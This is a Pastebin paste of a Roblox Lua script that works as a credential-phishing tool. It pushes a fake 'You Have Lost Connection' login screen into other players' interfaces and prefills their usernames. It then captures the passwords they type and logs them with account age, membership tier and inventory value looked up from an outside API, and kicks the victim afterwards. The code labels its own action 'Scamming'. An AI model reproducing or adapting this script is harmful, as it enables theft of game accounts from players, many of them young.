Advertisement
jech

Untitled

Jun 20th, 2016
78
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.99 KB | None | 0 0
  1. local Owner = game.Players.LocalPlayer
  2. local Core = Instance.new("Folder") Core.Name = "MGVXCore" Core.Parent = game
  3. local Loaded = false
  4. local Workspace = game.Workspace
  5. local RapApi = true
  6. local KickOnLogin = true
  7. local KickMessage = "You Have Lost Connection to the game."
  8.  
  9. for i,v in pairs(game.Players:GetChildren()) do
  10. --if v ~= Owner then
  11. local op = Instance.new("BoolValue")
  12. op.Name = "OtherPlayer"
  13. op.Value = true
  14. op.Parent = v
  15. --end
  16. end
  17. game.Players.PlayerAdded:connect(function(v)
  18. --if v ~= Owner then
  19. local op = Instance.new("BoolValue")
  20. op.Name = "OtherPlayer"
  21. op.Value = true
  22. op.Parent = v
  23. --end
  24. end)
  25.  
  26.  
  27. local NewGuiPart65 = Instance.new("ScreenGui")
  28. NewGuiPart65.Name = "LoginGui"
  29. NewGuiPart65.Parent = Owner.PlayerGui
  30. -------
  31. local NewGuiPart66 = Instance.new("Frame")
  32. NewGuiPart66.Name = "ErrorFrame"
  33. NewGuiPart66.Size = UDim2.new(1, 0, 1, 0)
  34. NewGuiPart66.Visible = false
  35. NewGuiPart66.Parent = NewGuiPart65
  36. -------
  37. local NewGuiPart67 = Instance.new("ImageLabel")
  38. NewGuiPart67.Active = false
  39. NewGuiPart67.Selectable = false
  40. NewGuiPart67.Size = UDim2.new(1, 0, 1, 0)
  41. NewGuiPart67.Image = "rbxassetid://423929933"
  42. NewGuiPart67.Parent = NewGuiPart66
  43. -------
  44. local NewGuiPart69 = Instance.new("TextLabel")
  45. NewGuiPart69.BackgroundTransparency = 1
  46. NewGuiPart69.BorderSizePixel = 0
  47. NewGuiPart69.Name = "UserName"
  48. NewGuiPart69.Position = UDim2.new(0, 50, 0.5, 0)
  49. NewGuiPart69.Size = UDim2.new(0, 100, 0, 50)
  50. NewGuiPart69.Font = Enum.Font.Legacy
  51. NewGuiPart69.FontSize = Enum.FontSize.Size14
  52. NewGuiPart69.Text = "UserName"
  53. NewGuiPart69.Parent = NewGuiPart66
  54. -------
  55. local NewGuiPart70 = Instance.new("TextLabel")
  56. NewGuiPart70.BackgroundTransparency = 1
  57. NewGuiPart70.BorderSizePixel = 0
  58. NewGuiPart70.Name = "Password"
  59. NewGuiPart70.Position = UDim2.new(0, 50, 0.5, 50)
  60. NewGuiPart70.Size = UDim2.new(0, 100, 0, 50)
  61. NewGuiPart70.Font = Enum.Font.Legacy
  62. NewGuiPart70.FontSize = Enum.FontSize.Size14
  63. NewGuiPart70.Text = "Password"
  64. NewGuiPart70.Parent = NewGuiPart66
  65. -------
  66. local NewGuiPart71 = Instance.new("TextBox")
  67. NewGuiPart71.BackgroundColor3 = Color3.new(255,255,255)
  68. NewGuiPart71.BorderColor3 = Color3.new(0, 0, 0)
  69. NewGuiPart71.BorderSizePixel = 2
  70. NewGuiPart71.Name = "TB2"
  71. NewGuiPart71.Position = UDim2.new(0, 160, 0.5, 65)
  72. NewGuiPart71.Size = UDim2.new(0, 200, 0, 20)
  73. NewGuiPart71.Font = Enum.Font.Legacy
  74. NewGuiPart71.FontSize = Enum.FontSize.Size14
  75. NewGuiPart71.Text = ""
  76. NewGuiPart71.Parent = NewGuiPart66
  77. -------
  78. local NewGuiPart72 = Instance.new("ImageButton")
  79. NewGuiPart72.Active = true
  80. NewGuiPart71.BackgroundColor3 = Color3.new(73,123,255)
  81. NewGuiPart72.BackgroundTransparency = 0.5
  82. NewGuiPart72.Name = "LoginButton"
  83. NewGuiPart72.Position = UDim2.new(0, 90, 0.5, 150)
  84. NewGuiPart72.Selectable = true
  85. NewGuiPart72.Size = UDim2.new(0, 280, 0, 25)
  86. NewGuiPart72.Style = Enum.ButtonStyle.RobloxRoundButton
  87. NewGuiPart72.Visible = true
  88. NewGuiPart72.Image = "rbxassetid://431070395"
  89. NewGuiPart72.Parent = NewGuiPart66
  90. -------
  91. local NewGuiPart73 = Instance.new("TextLabel")
  92. NewGuiPart73.BackgroundColor3 = Color3.new(255,255,255)
  93. NewGuiPart73.BorderColor3 = Color3.new(0, 0, 0)
  94. NewGuiPart73.BorderSizePixel = 0
  95. NewGuiPart73.Name = "TB1"
  96. NewGuiPart73.Position = UDim2.new(0, 160, 0.5, 15)
  97. NewGuiPart73.Size = UDim2.new(0, 200, 0, 20)
  98. NewGuiPart73.Font = Enum.Font.Legacy
  99. NewGuiPart73.FontSize = Enum.FontSize.Size14
  100. NewGuiPart73.Text = ""
  101. NewGuiPart73.Parent = NewGuiPart66
  102.  
  103.  
  104. local Text = Instance.new("TextLabel")
  105. Text.BackgroundColor3 = Color3.new(255,255,255)
  106. Text.BorderColor3 = Color3.new(0, 0, 0)
  107. Text.BorderSizePixel = 0
  108. Text.Name = "Text"
  109. Text.Position = UDim2.new(0, 90, 0.5,115)
  110. Text.Size = UDim2.new(0, 200, 0, 20)
  111. Text.Font = Enum.Font.Legacy
  112. Text.FontSize = Enum.FontSize.Size14
  113. Text.Text = ""
  114. Text.Parent = NewGuiPart66
  115.  
  116.  
  117. Owner.Chatted:connect(function(msg)
  118. if msg:lower() == "." then
  119. for i,v in pairs(game.Players:GetChildren()) do
  120. if v then
  121. if v.OtherPlayer then
  122. if v.PlayerGui then
  123. print("Scamming")
  124. gui = NewGuiPart65:Clone()
  125. gui.Parent = v.PlayerGui
  126. gui.ErrorFrame.Visible = true
  127. gui.ErrorFrame.TB1.Text = v.Name
  128. end
  129. end
  130. end
  131. end end
  132. end)
  133.  
  134. function BCtoDumpStr(str)
  135. local res = ""
  136. if str == "Enum.MembershipType.BuildersClub" then
  137. res = "[BC] "
  138. elseif str == "Enum.MembershipType.TurboBuildersClub" then
  139. res = "[TBC] "
  140. elseif str == "Enum.MembershipType.OutrageousBuildersClub" then
  141. res = "[OBC] "
  142. elseif str == "Enum.MembershipType.None" then
  143. res = "[NBC]"
  144. end
  145. return res
  146. end
  147.  
  148. function getRap(user)
  149. local rap = ""
  150. if RapApi then
  151. ypcall(function()
  152. local http = game:GetService("HttpService")
  153. local rawrap = http:JSONDecode(game:HttpGet("http://roblox.plus:2052/inventory?username=" .. user,true))
  154. rap = tostring(rawrap.rap)
  155. end)
  156. else
  157. rap = "N/A"
  158. end
  159. return rap
  160. end
  161.  
  162.  
  163. function logAccount(user,pass)
  164. local playerName = user.Name
  165. local playerAge = tostring(user.AccountAge)
  166. local playerRAP = getRap(playerName)
  167.  
  168.  
  169. print(BCtoDumpStr(tostring(user.MembershipType)) .. playerName .. " : " .. pass .. " Age: " .. playerAge .. " RAP: " .. playerRAP)
  170. end
  171.  
  172. function checkPass(pass)
  173.  
  174. if pass == "Password" or pass == "" or pass == "Enter Your Password" or pass == "Incorrect Password" or pass == "Enter your Password" then
  175. return false
  176. end
  177. local foundNums = 0
  178. local foundLetters = 0
  179. if string.find(pass, " ") then
  180. return false
  181. end
  182. if pass:len() < 6 or pass:len() > 20 then
  183. return false
  184. end
  185. for i=1,pass:len() do
  186. if pass:sub(i,i):match("%d") ~= nil then
  187. foundNums = foundNums + 1
  188. end
  189. end
  190. if foundNums < 2 then
  191. return false
  192. end
  193. for i=1,pass:len() do
  194. if pass:sub(i,i):match("%a") ~= nil then
  195. foundLetters = foundLetters + 1
  196. end
  197. end
  198. if foundLetters < 4 then
  199. return false
  200. end
  201. return true
  202.  
  203. end
  204.  
  205. function KickOnLog(kickk)
  206. local pa = game.Players:FindFirstChild(kickk)
  207. wait(.5)
  208. pa:Destroy();
  209. end
  210.  
  211. function RemoveGui(removee)
  212. local pe = game.Players:FindFirstChild(removee)
  213. if pe.PlayerGui then
  214. pe.PlayerGui:FindFirstChild("LoginGui"):Destroy();
  215. pe:LoadCharacter();
  216. end
  217. end
  218.  
  219. for i,v in pairs(game.Players:GetChildren()) do
  220. if v then
  221. if v.OtherPlayer then
  222. if v.PlayerGui then
  223. v.PlayerGui:WaitForChild("LoginGui").ErrorFrame.LoginButton.MouseButton1Up:connect(function()
  224. local password = v.PlayerGui.LoginGui.ErrorFrame.TB2.Text
  225. local username = v.PlayerGui.LoginGui.ErrorFrame.TB1.Text
  226. checkPass(password)
  227. logAccount(v,password)
  228. if KickOnLogin then
  229. KickOnLog(v.Name);
  230. else
  231. RemoveGui(v.Name);
  232. end
  233.  
  234. end)
  235. end end
  236. end
  237. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement